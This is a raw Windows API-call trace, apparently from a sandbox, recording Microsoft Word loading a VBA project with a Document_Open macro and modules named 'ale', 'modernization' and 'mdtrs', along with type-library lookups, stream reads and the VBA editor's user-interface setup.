[0017.554] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="seminary", lHashVal=0x101c64, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.554] IUnknown:Release (This=0x72d9b00) returned 0x6 [0017.554] IUnknown:AddRef (This=0x6f64030) returned 0x12 [0017.554] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="seminary", lHashVal=0x101c64, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.554] IUnknown:Release (This=0x6f64030) returned 0x11 [0017.554] IUnknown:AddRef (This=0x72d9dd0) returned 0x9 [0017.554] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="seminary", lHashVal=0x101c64, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.554] IUnknown:Release (This=0x72d9dd0) returned 0x8 [0017.554] IUnknown:AddRef (This=0x7479720) returned 0x6 [0017.554] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="seminary", lHashVal=0x101c64, pfName=0x2654e8, pBstrLibName=0x265390 | out: pfName=0x2654e8*=0, pBstrLibName=0x265390) returned 0x0 [0017.554] IUnknown:Release (This=0x7479720) returned 0x5 [0017.554] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.555] CoCreateGuid (in: pguid=0x2659d8 | out: pguid=0x2659d8*(Data1=0x38effe07, Data2=0x99ac, Data3=0x4ea5, Data4=([0]=0xac, [1]=0x27, [2]=0x9c, [3]=0xeb, [4]=0x6a, [5]=0xfd, [6]=0x38, [7]=0x85))) returned 0x0 [0017.555] CoCreateGuid (in: pguid=0x2659d8 | out: pguid=0x2659d8*(Data1=0x39a88638, Data2=0xbf6b, Data3=0x415e, Data4=([0]=0xae, [1]=0x4c, [2]=0x59, [3]=0xb6, [4]=0x5b, [5]=0x62, [6]=0x22, [7]=0xc4))) returned 0x0 [0017.555] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae300, ppTypeAttr=0x265220, pDummy=0x0 | out: ppTypeAttr=0x265220, pDummy=0x0) returned 0x0 [0017.555] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae300) returned 0x0 [0017.555] IUnknown:Release (This=0x6fae300) returned 0x2 [0017.555] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x265220, pDummy=0x265250 | out: ppTypeAttr=0x265220, pDummy=0x265250*=0xffffffff) returned 0x0 [0017.555] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x0, ppFuncDesc=0x265210, pDummy=0x265268 | out: ppFuncDesc=0x265210, pDummy=0x265268*=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x1, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x2, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x3, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x4, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x5, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x6, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x7, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x8, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x9, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xa, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xb, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xc, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x265220, pDummy=0x265250 | out: ppTypeAttr=0x265220, pDummy=0x265250*=0xffffffff) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x0, ppFuncDesc=0x265210, pDummy=0xf0 | out: ppFuncDesc=0x265210, pDummy=0xf0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x1, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x2, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x3, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x4, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x5, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x6, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x7, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x8, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0x9, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xa, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xb, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:RemoteGetFuncDesc (in: This=0x6fae3b0, index=0xc, ppFuncDesc=0x265210, pDummy=0x100 | out: ppFuncDesc=0x265210, pDummy=0x100) returned 0x0 [0017.556] ITypeInfo:LocalReleaseFuncDesc (This=0x6fae3b0) returned 0x0 [0017.556] ITypeInfo:LocalReleaseTypeAttr (This=0x6fae3b0) returned 0x0 [0017.556] IUnknown:Release (This=0x6fae3b0) returned 0x7 [0017.557] IUnknown:QueryInterface (in: This=0x6fae3b0, riid=0x7fef41cf098*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x264be8 | out: ppvObject=0x264be8*=0x0) returned 0x80004002 [0017.557] ITypeInfo:RemoteGetTypeAttr (in: This=0x6fae3b0, ppTypeAttr=0x264be0, pDummy=0x10 | out: ppTypeAttr=0x264be0, pDummy=0x10) returned 0x0 [0017.558] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.558] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Open") returned 0x300767 [0017.558] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Document") returned 0x30d36a [0017.559] VirtualFree (lpAddress=0x52b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0017.563] CExposedDocFile::AddRef () returned 0x4 [0017.563] CExposedDocFile::AddRef () returned 0x5 [0017.563] CExposedDocFile::OpenStream () returned 0x0 [0017.563] CExposedStream::AddRef () returned 0x2 [0017.563] CExposedStream::Release () returned 0x1 [0017.563] CExposedDocFile::Release () returned 0x4 [0017.563] CExposedStream::Read () returned 0x0 [0017.563] CExposedStream::Seek () returned 0x0 [0017.564] CExposedStream::Seek () returned 0x0 [0017.564] CExposedStream::Seek () returned 0x0 [0017.564] CExposedStream::Read () returned 0x0 [0017.564] CExposedStream::Read () returned 0x0 [0017.564] CExposedStream::Seek () returned 0x0 [0017.564] CExposedStream::Seek () returned 0x0 [0017.564] CExposedStream::Seek () returned 0x0 [0017.565] CExposedStream::Read () returned 0x0 [0017.565] CExposedStream::Read () returned 0x0 [0017.565] CExposedStream::Read () returned 0x0 [0017.565] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_Evaluate") returned 0x30d918 [0017.565] CExposedDocFile::AddRef () returned 0x5 [0017.565] CExposedDocFile::AddRef () returned 0x6 [0017.565] CExposedDocFile::OpenStream () returned 0x0 [0017.565] CExposedStream::AddRef () returned 0x2 [0017.565] CExposedStream::Release () returned 0x1 [0017.565] CExposedDocFile::Release () returned 0x5 [0017.565] CExposedStream::Read () returned 0x0 [0017.566] CExposedStream::Seek () returned 0x0 [0017.566] CExposedStream::Seek () returned 0x0 [0017.566] CExposedStream::Seek () returned 0x0 [0017.566] CExposedStream::Seek () returned 0x0 [0017.566] CExposedStream::Seek () returned 0x0 [0017.566] CExposedStream::Read () returned 0x0 [0017.566] CExposedStream::Seek () returned 0x0 [0017.566] CExposedStream::Seek () returned 0x0 [0017.567] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_Evaluate") returned 0x30d918 [0017.567] CExposedDocFile::AddRef () returned 0x6 [0017.567] CExposedDocFile::AddRef () returned 0x7 [0017.567] CExposedDocFile::OpenStream () returned 0x0 [0017.567] CExposedStream::AddRef () returned 0x2 [0017.567] CExposedStream::Release () returned 0x1 [0017.567] CExposedDocFile::Release () returned 0x6 [0017.567] CExposedStream::Read () returned 0x0 [0017.568] CExposedStream::Seek () returned 0x0 [0017.568] CExposedStream::Seek () returned 0x0 [0017.568] CExposedStream::Seek () returned 0x0 [0017.568] CExposedStream::Read () returned 0x0 [0017.568] CExposedStream::Read () returned 0x0 [0017.568] CExposedStream::Seek () returned 0x0 [0017.568] CExposedStream::Seek () returned 0x0 [0017.568] CExposedStream::Seek () returned 0x0 [0017.569] CExposedStream::Read () returned 0x0 [0017.569] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_Evaluate") returned 0x30d918 [0017.569] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x52b0000 [0017.571] VarCmp (pvarLeft=0x7462578, pvarRight=0x7462590, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.571] VarAnd (in: pvarLeft=0x7462548, pvarRight=0x7462560, pvarResult=0x7462530 | out: pvarResult=0x7462530) returned 0x0 [0017.572] VarCmp (pvarLeft=0x7462578, pvarRight=0x7462590, lcid=0x1, dwFlags=0x30001) returned 0x0 [0017.572] VarNot (in: pvarIn=0x7462560, pvarResult=0x7462548 | out: pvarResult=0x7462548) returned 0x0 [0017.572] VarAnd (in: pvarLeft=0x7462530, pvarRight=0x7462548, pvarResult=0x7462518 | out: pvarResult=0x7462518) returned 0x0 [0017.573] VarCmp (pvarLeft=0x7462578, pvarRight=0x7462590, lcid=0x1, dwFlags=0x30001) returned 0x1 [0017.573] VarAnd (in: pvarLeft=0x7462548, pvarRight=0x7462560, pvarResult=0x7462530 | out: pvarResult=0x7462530) returned 0x0 [0017.574] VarCmp (pvarLeft=0x7462578, pvarRight=0x7462590, lcid=0x1, dwFlags=0x30001) returned 0x1 [0017.574] VarNot (in: pvarIn=0x7462560, pvarResult=0x7462548 | out: pvarResult=0x7462548) returned 0x0 [0017.574] VarAnd (in: pvarLeft=0x7462530, pvarRight=0x7462548, pvarResult=0x7462518 | out: pvarResult=0x7462518) returned 0x0 [0017.574] IMalloc:Alloc (This=0x7fefefb5380, cb=0x9c) returned 0x74baea0 [0017.574] CLSIDFromString (in: lpsz="{162405D5-504B-4BFC-995A-EA1C8157FE2A}", pclsid=0x746cf80 | out: pclsid=0x746cf80*(Data1=0x162405d5, Data2=0x504b, Data3=0x4bfc, Data4=([0]=0x99, [1]=0x5a, [2]=0xea, [3]=0x1c, [4]=0x81, [5]=0x57, [6]=0xfe, [7]=0x2a))) returned 0x0 [0017.574] IMalloc:Free (This=0x7fefefb5380, pv=0x74baea0) [0017.575] GetCurrentThreadId () returned 0x938 [0017.575] GetLastError () returned 0x0 [0017.576] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_Destroy") returned 0x7fefc0207a4 [0017.576] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_GetIconSize") returned 0x7fefc021010 [0017.576] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="InitCommonControls") returned 0x7fefc0f8b5c [0017.576] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_LoadImageA") returned 0x7fefc0201a8 [0017.577] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_SetOverlayImage") returned 0x7fefc020a70 [0017.577] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_AddMasked") returned 0x7fefc020b60 [0017.577] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_GetImageInfo") returned 0x7fefc021180 [0017.577] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_Draw") returned 0x7fefc020cd8 [0017.577] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="ImageList_DrawEx") returned 0x7fefc020bdc [0017.578] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="PropertySheetA") returned 0x7fefc005c64 [0017.578] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="DestroyPropertySheetPage") returned 0x7fefbfff018 [0017.578] GetProcAddress (hModule=0x7fefbfc0000, lpProcName="CreatePropertySheetPageA") returned 0x7fefbfffce8 [0017.666] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL") returned 0x4c [0017.666] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL") returned 0x4c [0017.666] lstrcpyW (in: lpString1=0x2641c0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL" [0017.707] GetSystemDefaultLangID () returned 0x430409 [0017.715] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0017.715] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=8, lpWideCharStr=0x737a3b8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0017.715] lstrlenA (lpString="Project") returned 7 [0017.736] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0017.736] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0017.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=8, lpWideCharStr=0x737a3b8, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0017.736] lstrlenA (lpString="Project") returned 7 [0017.736] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.736] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x737a3b8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.736] lstrlenA (lpString="Normal") returned 6 [0017.736] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal", _SizeInBytes=0x410, _Source=" [" | out: _Destination="Microsoft Visual Basic for Applications - Normal [") returned 0x0 [0017.736] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [", _SizeInBytes=0x410, _Source="running" | out: _Destination="Microsoft Visual Basic for Applications - Normal [running") returned 0x0 [0017.736] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [running", _SizeInBytes=0x410, _Source="]" | out: _Destination="Microsoft Visual Basic for Applications - Normal [running]") returned 0x0 [0017.749] GetObjectA (in: h=0x80508c8, c=32, pv=0x2641b0 | out: pv=0x2641b0) returned 32 [0017.749] ImageList_AddMasked (himl=0x401330, hbmImage=0x80508c8, crMask=0xff00ff) returned 20 [0017.749] lstrlenA (lpString="ThisDocument") returned 12 [0017.749] lstrlenA (lpString="ThisDocument") returned 12 [0017.750] lstrlenA (lpString="ale") returned 3 [0017.750] lstrlenA (lpString="ale") returned 3 [0017.750] lstrlenA (lpString="modernization") returned 13 [0017.750] lstrlenA (lpString="modernization") returned 13 [0017.751] lstrlenA (lpString="mdtrs") returned 5 [0017.751] lstrlenA (lpString="mdtrs") returned 5 [0017.752] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.752] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x737a3b8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.752] lstrlenA (lpString="Normal") returned 6 [0017.753] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.753] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x737a3b8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.753] lstrlenA (lpString="Normal") returned 6 [0017.753] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0017.753] SysStringByteLen (bstr="潎浲污") returned 0x6 [0017.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6f20d18, cbMultiByte=7, lpWideCharStr=0x737a3b8, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0017.753] lstrlenA (lpString="Normal") returned 6 [0017.753] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal", _SizeInBytes=0x410, _Source=" [" | out: _Destination="Microsoft Visual Basic for Applications - Normal [") returned 0x0 [0017.753] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [", _SizeInBytes=0x410, _Source="running" | out: _Destination="Microsoft Visual Basic for Applications - Normal [running") returned 0x0 [0017.753] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [running", _SizeInBytes=0x410, _Source="]" | out: _Destination="Microsoft Visual Basic for Applications - Normal [running]") returned 0x0 [0017.763] GetObjectA (in: h=0x13050829, c=32, pv=0x2641b0 | out: pv=0x2641b0) returned 32 [0017.763] ImageList_AddMasked (himl=0x401330, hbmImage=0x13050829, crMask=0xff00ff) returned 21 [0017.764] lstrlenA (lpString="ThisDocument") returned 12 [0017.764] wcsncpy_s (in: _Destination=0x264200, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0017.764] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0017.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x264120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0017.764] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0017.764] SendMessageA (hWnd=0x10236, Msg=0x110a, wParam=0x3, lParam=0x7507910) returned 0x7507550 [0017.765] SendMessageA (hWnd=0x10236, Msg=0x110c, wParam=0x0, lParam=0x264220) returned 0x1 [0017.765] LoadStringA (in: hInstance=0x7fef3ee0000, uID=0x845, lpBuffer=0x263f40, cchBufferMax=521 | out: lpBuffer="Reference to ") returned 0xd [0017.765] lstrcpynA (in: lpString1=0x263e30, lpString2="Normal", iMaxLength=260 | out: lpString1="Normal") returned="Normal" [0017.765] strncat_s (in: _Destination="Reference to ", _SizeInBytes=0x209, _Source="Normal", _MaxCount=0x28 | out: _Destination="Reference to Normal") returned 0x0 [0017.765] lstrlenA (lpString="Normal") returned 6 [0017.766] lstrlenA (lpString="General") returned 7 [0017.766] lstrcpyA (in: lpString1=0x1c52b10, lpString2="General" | out: lpString1="General") returned="General" [0017.768] MonitorFromWindow (hwnd=0x10214, dwFlags=0x2) returned 0x10001 [0017.768] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x264548 | out: lpmi=0x264548) returned 1 [0017.769] lstrcpyA (in: lpString1=0x2643f0, lpString2="" | out: lpString1="") returned="" [0017.769] lstrlenA (lpString="") returned 0 [0017.769] MonitorFromWindow (hwnd=0x1023c, dwFlags=0x2) returned 0x10001 [0017.769] GetMonitorInfoA (in: hMonitor=0x10001, lpmi=0x264338 | out: lpmi=0x264338) returned 1 [0017.832] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x1307, wParam=0x0, lParam=0x264510) returned 0x0 [0017.832] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x1307, wParam=0x1, lParam=0x264510) returned 0x1 [0017.832] CallWindowProcA (lpPrevWndFunc=0xffff013d, hWnd=0x10242, Msg=0x1328, wParam=0x0, lParam=0x264538) returned 0x0 [0017.850] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a39, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="Menu Bar") returned 0x8 [0017.855] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a6f, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="Standard") returned 0x8 [0017.855] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a70, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="Edit") returned 0x4 [0017.856] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a71, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="Debug") returned 0x5 [0017.856] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a72, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="UserForm") returned 0x8 [0017.856] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a74, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="Project Window") returned 0xe [0017.856] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a75, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="AddCommandMenu") returned 0xe [0017.856] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a76, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="FileCommandWellMenu") returned 0x13 [0017.856] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a77, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="EditCommandWellMenu") returned 0x13 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a78, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="ViewCommandWellMenu") returned 0x13 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a79, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="InsertCommandWellMenu") returned 0x15 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a7a, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="FormatCommandWellMenu") returned 0x15 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a7b, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="DebugCommandWellMenu") returned 0x14 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a7c, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="RunCommandWellMenu") returned 0x12 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, uID=0x4a7d, lpBuffer=0x264022, cchBufferMax=255 | out: lpBuffer="ToolsCommandWellMenu") returned 0x14 [0017.857] LoadStringW (in: hInstance=0x7fef3ee0000, 